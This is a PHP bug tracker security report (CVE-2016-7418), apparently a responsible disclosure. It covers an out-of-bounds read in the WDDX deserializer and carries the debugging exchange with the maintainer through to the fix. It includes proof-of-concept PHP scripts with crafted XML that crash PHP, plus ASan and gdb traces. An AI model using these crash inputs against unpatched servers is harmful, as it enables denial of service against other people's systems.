php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #73065 Out-Of-Bounds Read in php_wddx_push_element of wddx.c
Submitted: 2016-09-12 02:30 UTC Modified: 2016-09-16 13:41 UTC
From: stackexploit at gmail dot com Assigned: stas
Status: Closed Package: WDDX related
PHP Version: 5.6.25 OS: Ubuntu
Private report: No CVE-ID: 2016-7418
 [2016-09-12 02:30 UTC] stackexploit at gmail dot com
Description:
------------
CREDIT
-----------------------
This vulnerability was discovered by Ke Liu of Tencent's Xuanwu LAB.


PHP VERSION
-----------------------
./sapi/cli/php --version
PHP 7.2.0-dev (cli) (built: Sep 11 2016 18:37:49) ( NTS )
Copyright (c) 1997-2016 The PHP Group
Zend Engine v3.1.0-dev, Copyright (c) 1998-2016 Zend Technologies


PROOF-OF-CONCEPT FILE
-----------------------
Posted in the "Test script" section.


STACKTRACE
-----------------------
Posted in the "Actual result" section.


VULNERABILITY DETAILS
-----------------------
A DoS (null pointer dereference) vulnerability can be triggered in function wddx_deserialize. 
To reproduce this issue, please run export USE_ZEND_ALLOC=0 before executing the test script.

Test script:
---------------
<?php
    $xml = <<<XML
<?xml version='1.0' ?>
    <!DOCTYPE et SYSTEM 'w'>
    <wddxPacket ven='1.0'>
        <array>
            <var Name="name">
                <boolean value="keliu"></boolean>
            </var>
            <var name="1111">
                <var name="2222">
                    <var name="3333"></var>
                </var>
            </var>
        </array>
    </wddxPacket>
XML;
    
    $array = wddx_deserialize($xml);
    var_dump($array);
?>

Expected result:
----------------
Exit quietly.

Actual result:
--------------
==47769==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 
    (pc 0x00000046fb9c bp 0x7ffc278e29b0 sp 0x7ffc278e2130 T0)
    #0 0x46fb9b in __interceptor_strcmp.part.24 (php-src/sapi/cli/php+0x46fb9b)
    #1 0xac41d4 in php_wddx_push_element php-src/ext/wddx/wddx.c:791:9
    #2 0x7fa8715ac67f in _init (/lib/x86_64-linux-gnu/libexpat.so.1+0x867f)
    #3 0x7fa8715ad38b in _init (/lib/x86_64-linux-gnu/libexpat.so.1+0x938b)
    #4 0x7fa8715aecad in _init (/lib/x86_64-linux-gnu/libexpat.so.1+0xacad)
    #5 0x7fa8715af404 in _init (/lib/x86_64-linux-gnu/libexpat.so.1+0xb404)
    #6 0x7fa8715b170a in XML_ParseBuffer (/lib/x86_64-linux-gnu/libexpat.so.1+0xd70a)
    #7 0xac1717 in php_wddx_deserialize_ex php-src/ext/wddx/wddx.c:1081:2
    #8 0xabad7a in zif_wddx_deserialize php-src/ext/wddx/wddx.c:1299:2
    #9 0xfdfb3d in ZEND_DO_ICALL_SPEC_RETVAL_USED_HANDLER php-src/Zend/zend_vm_execute.h:675:2
    #10 0xe75f4b in execute_ex php-src/Zend/zend_vm_execute.h:432:7
    #11 0xe76ec3 in zend_execute php-src/Zend/zend_vm_execute.h:474:2
    #12 0xd00e9e in zend_execute_scripts php-src/Zend/zend.c:1464:4
    #13 0xad4425 in php_execute_script php-src/main/main.c:2537:14
    #14 0x10fca26 in do_cli php-src/sapi/cli/php_cli.c:990:5
    #15 0x10f9f60 in main php-src/sapi/cli/php_cli.c:1378:18
    #16 0x7fa86fec582f in __libc_start_main /build/glibc-GKVZIf/glibc-2.23/csu/../csu/libc-start.c:291
    #17 0x449578 in _start (php-src/sapi/cli/php+0x449578)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (php-src/sapi/cli/php+0x46fb9b) in __interceptor_strcmp.part.24
==47769==ABORTING

Patches

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2016-09-12 03:57 UTC] stas@php.net
-Type: Security +Type: Bug
 [2016-09-12 03:57 UTC] stas@php.net
Was not able to reproduce in previous versions, master is not a released version.
 [2016-09-12 04:51 UTC] stackexploit at gmail dot com
-Type: Bug +Type: Security -PHP Version: master-Git-2016-09-12 (snap) +PHP Version: 7.0.10 -Private report: No +Private report: Yes
 [2016-09-12 04:51 UTC] stackexploit at gmail dot com
Hello, I can reproduce it with PHP 7.0.10. It's the current stable version according to http://php.net/downloads.php .

worker@ubuntu:~/Desktop/repo/php-7.0.10$ ./sapi/cli/php wddx_null.php 
ASAN:DEADLYSIGNAL
=================================================================
==33608==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 
(pc 0x00000046ef7c bp 0x7ffcfff765b0 sp 0x7ffcfff75d30 T0)
    #0 0x46ef7b in __interceptor_strcmp.part.24 (php-7.0.10/sapi/cli/php+0x46ef7b)
    #1 0xaacea4 in php_wddx_push_element php-7.0.10/ext/wddx/wddx.c:791:9
    #2 0x7f866498d67f in _init (/lib/x86_64-linux-gnu/libexpat.so.1+0x867f)
    #3 0x7f866498e38b in _init (/lib/x86_64-linux-gnu/libexpat.so.1+0x938b)
    #4 0x7f866498fcad in _init (/lib/x86_64-linux-gnu/libexpat.so.1+0xacad)
    #5 0x7f8664990404 in _init (/lib/x86_64-linux-gnu/libexpat.so.1+0xb404)
    #6 0x7f866499270a in XML_ParseBuffer (/lib/x86_64-linux-gnu/libexpat.so.1+0xd70a)
    #7 0xaaa3e7 in php_wddx_deserialize_ex php-7.0.10/ext/wddx/wddx.c:1086:2
    #8 0xaa3a1a in zif_wddx_deserialize php-7.0.10/ext/wddx/wddx.c:1304:2
    #9 0xf9aab9 in ZEND_DO_ICALL_SPEC_HANDLER php-7.0.10/Zend/zend_vm_execute.h:586:2
    #10 0xe45c3b in execute_ex php-7.0.10/Zend/zend_vm_execute.h:417:7
    #11 0xe4691b in zend_execute php-7.0.10/Zend/zend_vm_execute.h:458:2
    #12 0xcdd86e in zend_execute_scripts php-7.0.10/Zend/zend.c:1427:4
    #13 0xabcf35 in php_execute_script php-7.0.10/main/main.c:2494:14
    #14 0x1045d46 in do_cli php-7.0.10/sapi/cli/php_cli.c:974:5
    #15 0x1043270 in main php-7.0.10/sapi/cli/php_cli.c:1344:18
    #16 0x7f86632a682f in __libc_start_main /build/glibc-GKVZIf/glibc-2.23/csu/../csu/libc-start.c:291
    #17 0x448958 in _start (php-7.0.10/sapi/cli/php+0x448958)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (php-7.0.10/sapi/cli/php+0x46ef7b) in __interceptor_strcmp.part.24
==33608==ABORTING
 [2016-09-12 05:22 UTC] stas@php.net
The backtrace looks kind of strange too. It says the problem is in line 791 of wddx.c, which is:

			if (!strcmp((char *)atts[i], EL_NAME) && atts[++i] && atts[i][0]) {

The problem is that the loop just above it is:

		if (atts) for (i = 0; atts[i]; i++) {

so if strcmp argument is 0, how did it enter the loop body? Something is wrong here.
 [2016-09-12 05:27 UTC] stas@php.net
-Status: Open +Status: Feedback
 [2016-09-12 05:27 UTC] stas@php.net
I also manually run through the code with the debugger and was not able to reproduce any problem, or see any null value in php_wddx_push_element. I suspect it's either a bug in AddressSanitizer or something is very wrong with your build.
 [2016-09-12 06:15 UTC] stackexploit at gmail dot com
-Status: Feedback +Status: Open
 [2016-09-12 06:15 UTC] stackexploit at gmail dot com
Hi, I debugged this issue and confirmed it exits. The information given by AddressSanitizer is wired. In fact it's not a NULL pointer dereference issue but an invalid pointer reference issue.


(gdb) r /path/to/poc/wddx_null.php 
Starting program: /home/worker/Desktop/repo/php-7.0.10/sapi/cli/php /path/to/poc/wddx_null.php

Breakpoint 1, php_wddx_push_element (user_data=0x7fffffffa160, name=0xcf9080 "var", atts=0xcf6e30)
    at /home/worker/Desktop/repo/php-7.0.10/ext/wddx/wddx.c:791
791			if (atts) for (i = 0; atts[i]; i++) {
(gdb) n
792				if (!strcmp((char *)atts[i], EL_NAME) && atts[++i] && atts[i][0]) {
(gdb) p i
$12 = 0
(gdb) p atts[i]
$13 = (const XML_Char *) 0xcf8699 "Name"

--------------------------------------------------------------------------------------
i = 0
atts[i] = "Name" (0xcf8699)
EL_NAME = "name"
Here strcmp((char *)atts[i], EL_NAME) != 0 and the remained conditions will not be checked.
--------------------------------------------------------------------------------------



(gdb) n
791			if (atts) for (i = 0; atts[i]; i++) {
(gdb) p i
$15 = 0
(gdb) n
792				if (!strcmp((char *)atts[i], EL_NAME) && atts[++i] && atts[i][0]) {
(gdb) p i
$16 = 1
(gdb) p atts[i]
$17 = (const XML_Char *) 0xcf783c "name"

--------------------------------------------------------------------------------------
i = 1
atts[i] = "name" (0xcf783c)
EL_NAME = "name"
Here strcmp((char *)atts[i], EL_NAME) == 0 and the remained conditions will be checked.
So executing atts[++i].
Here i equals 2 now. 

(gdb) x/20xw atts
0xcf6e30:	0x00cf8699	0x00000000	0x00cf783c	0x00000000
0xcf6e40:	0x00000000	0x00000000	0x61507801	0x74656b63
0xcf6e50:	0x580a0d3e	0x0d3b4c4d	0x2020200a	0x200a0d20
0xcf6e60:	0x24202020	0x61727261	0x203d2079	0x78646477
0xcf6e70:	0x7365645f	0x61697265	0x657a696c	0x6d782428

However atts[2] == 0, so the remained condition will not be checked.
--------------------------------------------------------------------------------------



(gdb) n
791			if (atts) for (i = 0; atts[i]; i++) {
(gdb) p i
$18 = 2
(gdb) n
792				if (!strcmp((char *)atts[i], EL_NAME) && atts[++i] && atts[i][0]) {
(gdb) p i
$19 = 3
(gdb) p atts[i]
$21 = (const XML_Char *) 0x74656b6361507801 <error: Cannot access memory at address 0x74656b6361507801>
(gdb) x/40xw atts
(gdb) x/20xw atts
0xcf6e30:	0x00cf8699	0x00000000	0x00cf783c	0x00000000
0xcf6e40:	0x00000000	0x00000000	[0x61507801	0x74656b63]  --> atts[3]
0xcf6e50:	0x580a0d3e	0x0d3b4c4d	0x2020200a	0x200a0d20
0xcf6e60:	0x24202020	0x61727261	0x203d2079	0x78646477
0xcf6e70:	0x7365645f	0x61697265	0x657a696c	0x6d782428

--------------------------------------------------------------------------------------
When executing the for-loop, firstly executing i++, then i equals 3.
Now atts[i] is not NULL! Only atts[2] is NULL but it's not checked in the for-loop.
Please notice that atts[2] was checked in the if statement!

Now atts[3] points to 0x74656b6361507801. When calling the strcmp function, the process
will receive signal SIGSEGV because the address cannot be read.
--------------------------------------------------------------------------------------



(gdb) n
Program received signal SIGSEGV, Segmentation fault.
__strcmp_sse2_unaligned () at ../sysdeps/x86_64/multiarch/strcmp-sse2-unaligned.S:31
31	../sysdeps/x86_64/multiarch/strcmp-sse2-unaligned.S: No such file or directory.

(gdb) x/i $rip
=> 0x7ffff6da1b5a <__strcmp_sse2_unaligned+26>:	movdqu (%rdi),%xmm1

(gdb) i r $rdi
rdi            0x74656b6361507801	8387227955626014721

(gdb) x/20xb $rdi
0x74656b6361507801:	Cannot access memory at address 0x74656b6361507801

(gdb) bt
#0  __strcmp_sse2_unaligned () at ../sysdeps/x86_64/multiarch/strcmp-sse2-unaligned.S:31
#1  0x000000000060ee81 in php_wddx_push_element (user_data=0x7fffffffa160, name=0xcf9080 "var", atts=0xcf6e30)
    at /home/worker/Desktop/repo/php-7.0.10/ext/wddx/wddx.c:792
#2  0x00007ffff7bb6680 in ?? () from /lib/x86_64-linux-gnu/libexpat.so.1
#3  0x00007ffff7bb738c in ?? () from /lib/x86_64-linux-gnu/libexpat.so.1
#4  0x00007ffff7bb8cae in ?? () from /lib/x86_64-linux-gnu/libexpat.so.1
#5  0x00007ffff7bb9405 in ?? () from /lib/x86_64-linux-gnu/libexpat.so.1
#6  0x00007ffff7bbb70b in XML_ParseBuffer () from /lib/x86_64-linux-gnu/libexpat.so.1
#7  0x0000000000610c05 in php_wddx_deserialize_ex (
    value=0x7ffff4282018 "<?xml version='1.0' ?>\r\n    <!DOCTYPE et SYSTEM 'w'>\r\n    <wddxPacket ven='1.0'>\r\n        <array>\r\n", ' ' <repeats 12 times>, "<var Name=\"name\">\r\n", ' ' <repeats 16 times>, "<boolean value=\"keliu\"></boolean>\r\n", ' ' <repeats 12 times>, "</var>\r"..., 
    vallen=391, return_value=0x7ffff42140c0) at /home/worker/Desktop/repo/php-7.0.10/ext/wddx/wddx.c:1087
#8  0x00000000006119f5 in zif_wddx_deserialize (execute_data=0x7ffff42140f0, return_value=0x7ffff42140c0)
    at /home/worker/Desktop/repo/php-7.0.10/ext/wddx/wddx.c:1305
#9  0x000000000074fb3b in ZEND_DO_ICALL_SPEC_HANDLER () at /home/worker/Desktop/repo/php-7.0.10/Zend/zend_vm_execute.h:586
#10 0x000000000074e3b8 in execute_ex (ex=0x7ffff4214030) at /home/worker/Desktop/repo/php-7.0.10/Zend/zend_vm_execute.h:414
#11 0x000000000074ecab in zend_execute (op_array=0x7ffff4283000, return_value=0x0) at /home/worker/Desktop/repo/php-7.0.10/Zend/zend_vm_execute.h:458
#12 0x00000000006be044 in zend_execute_scripts (type=8, retval=0x0, file_count=3) at /home/worker/Desktop/repo/php-7.0.10/Zend/zend.c:1427
#13 0x0000000000616881 in php_execute_script (primary_file=0x7fffffffcb50) at /home/worker/Desktop/repo/php-7.0.10/main/main.c:2494
#14 0x000000000082a37c in do_cli (argc=2, argv=0xc481a0) at /home/worker/Desktop/repo/php-7.0.10/sapi/cli/php_cli.c:974
#15 0x000000000082b625 in main (argc=2, argv=0xc481a0) at /home/worker/Desktop/repo/php-7.0.10/sapi/cli/php_cli.c:1344
(gdb) c
Continuing.

Program terminated with signal SIGSEGV, Segmentation fault.
The program no longer exists.
 [2016-09-12 06:21 UTC] stackexploit at gmail dot com
> [2016-09-12 05:22 UTC] stas@php.net
> The backtrace looks kind of strange too. It says the problem is in line 791 of wddx.c, which is:
> 			if (!strcmp((char *)atts[i], EL_NAME) && atts[++i] && atts[i][0]) {
> The problem is that the loop just above it is:
> 		if (atts) for (i = 0; atts[i]; i++) {
> so if strcmp argument is 0, how did it enter the loop body? Something is wrong here.

Here is my answer.

790  if (atts) for (i = 0; atts[i]; i++) {
791      if (!strcmp((char *)atts[i], EL_NAME) && atts[++i] && atts[i][0]) {
792          if (stack->varname) efree(stack->varname);
793          stack->varname = estrdup((char *)atts[i]);
794          break;
795      }
796  }

atts[0] = 0x0000000000cf8699  "Name"
atts[1] = 0x0000000000cf783c  "name"   EL_NAME
atts[2] = 0x0000000000000000  NULL
atts[3] = 0x74656b6361507801  ????

atts[2] was not checked in the for-loop but in the if statement. So strcmp(atts[3], EL_NAME) would cause an Out-Of-Bounds read issue.
 [2016-09-12 06:27 UTC] stackexploit at gmail dot com
-Summary: NULL pointer dereference in wddx_deserialize of wddx.c +Summary: Out-Of-Bounds Read in php_wddx_push_element of wddx.c
 [2016-09-12 06:27 UTC] stackexploit at gmail dot com
OS: Ubuntu 16.04 LTS 64-bit.

(gdb) x/i $rip
=> 0x7ffff6da1b5a <__strcmp_sse2_unaligned+26>:	movdqu (%rdi),%xmm1

(gdb) i r $rdi
rdi            0x74656b6361507801	8387227955626014721

>>> '74656b6361507801'.decode('hex')[::-1]
'\x01xPacket'
 [2016-09-12 06:44 UTC] stackexploit at gmail dot com
There are other four similar issues in function php_wddx_push_element.

------------
1. Line 740
------------
<?php
    $xml = <<<XML
<?xml version='1.0' ?>
    <!DOCTYPE et SYSTEM 'w'>
    <wddxPacket ven='1.0'>
        <array>
            <char Name="code">
                <boolean value="keliu"></boolean>
            </char>
        </array>
    </wddxPacket>
XML;
    
    $array = wddx_deserialize($xml);
    var_dump($array);
?>


------------
2. Line 758
------------
<?php
    $xml = <<<XML
<?xml version='1.0' ?>
    <!DOCTYPE et SYSTEM 'w'>
    <wddxPacket ven='1.0'>
        <array>
            <boolean Name="value">
                <boolean value="keliu"></boolean>
            </boolean>
        </array>
    </wddxPacket>
XML;
    
    $array = wddx_deserialize($xml);
    var_dump($array);
?>


------------
3. Line 804
------------
<?php
    $xml = <<<XML
<?xml version='1.0' ?>
    <!DOCTYPE et SYSTEM 'w'>
    <wddxPacket ven='1.0'>
        <array>
            <recordset Name="fieldNames">
                <boolean value="keliu"></boolean>
            </recordset>
        </array>
    </wddxPacket>
XML;
    
    $array = wddx_deserialize($xml);
    var_dump($array);
?>


------------
4. Line 838
------------
<?php
    $xml = <<<XML
<?xml version='1.0' ?>
    <!DOCTYPE et SYSTEM 'w'>
    <wddxPacket ven='1.0'>
        <array>
            <field Name="name">
                <boolean value="keliu"></boolean>
            </field>
        </array>
    </wddxPacket>
XML;
    
    $array = wddx_deserialize($xml);
    var_dump($array);
?>
 [2016-09-12 07:21 UTC] stas@php.net
OK, I see now what's going on here. AddressSanitizer message was misleading and my version of xmllib passes it with bunch of zeroes. Now I understand the issues, thanks.
 [2016-09-12 07:28 UTC] stas@php.net
-PHP Version: 7.0.10 +PHP Version: 5.6.25 -CVE-ID: +CVE-ID: needed
 [2016-09-12 07:35 UTC] stas@php.net
-Assigned To: +Assigned To: stas
 [2016-09-12 07:35 UTC] stas@php.net
The fix is in security repo as bbaf784f8d213e201baf67e861f20b38c6e87d3b and in https://gist.github.com/f0583c14f573737da81be2f6cef3b0fc
 [2016-09-12 07:36 UTC] stas@php.net
please verify
 [2016-09-12 08:42 UTC] stackexploit at gmail dot com
I've verified that the patch works fine. Thanks.
 [2016-09-13 04:04 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=c4cca4c20e75359c9a13a1f9a36cb7b4e9601d29
Log: Fix bug #73065: Out-Of-Bounds Read in php_wddx_push_element of wddx.c
 [2016-09-13 04:04 UTC] stas@php.net
-Status: Assigned +Status: Closed
 [2016-09-13 04:06 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=9528ce73156e2b6a5e96e371068b24a5975f4bcd
Log: Fix bug #73065: Out-Of-Bounds Read in php_wddx_push_element of wddx.c
 [2016-09-13 04:09 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=9528ce73156e2b6a5e96e371068b24a5975f4bcd
Log: Fix bug #73065: Out-Of-Bounds Read in php_wddx_push_element of wddx.c
 [2016-09-13 04:11 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=9528ce73156e2b6a5e96e371068b24a5975f4bcd
Log: Fix bug #73065: Out-Of-Bounds Read in php_wddx_push_element of wddx.c
 [2016-09-13 09:02 UTC] ab@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=c4cca4c20e75359c9a13a1f9a36cb7b4e9601d29
Log: Fix bug #73065: Out-Of-Bounds Read in php_wddx_push_element of wddx.c
 [2016-09-15 09:30 UTC] tyrael@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=7d011b6f59a3f5a59a9835f9ad40d9b40c266bec
Log: Fix bug #73065: Out-Of-Bounds Read in php_wddx_push_element of wddx.c
 [2016-09-16 13:41 UTC] kaplan@php.net
-CVE-ID: needed +CVE-ID: 2016-7418
 [2016-10-17 10:08 UTC] bwoebi@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=c4cca4c20e75359c9a13a1f9a36cb7b4e9601d29
Log: Fix bug #73065: Out-Of-Bounds Read in php_wddx_push_element of wddx.c
 [2016-10-17 10:08 UTC] bwoebi@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=9528ce73156e2b6a5e96e371068b24a5975f4bcd
Log: Fix bug #73065: Out-Of-Bounds Read in php_wddx_push_element of wddx.c
 
PHP Copyright © 2001-2017 The PHP Group
All rights reserved.
Last updated: Tue Aug 29 15:01:52 2017 UTC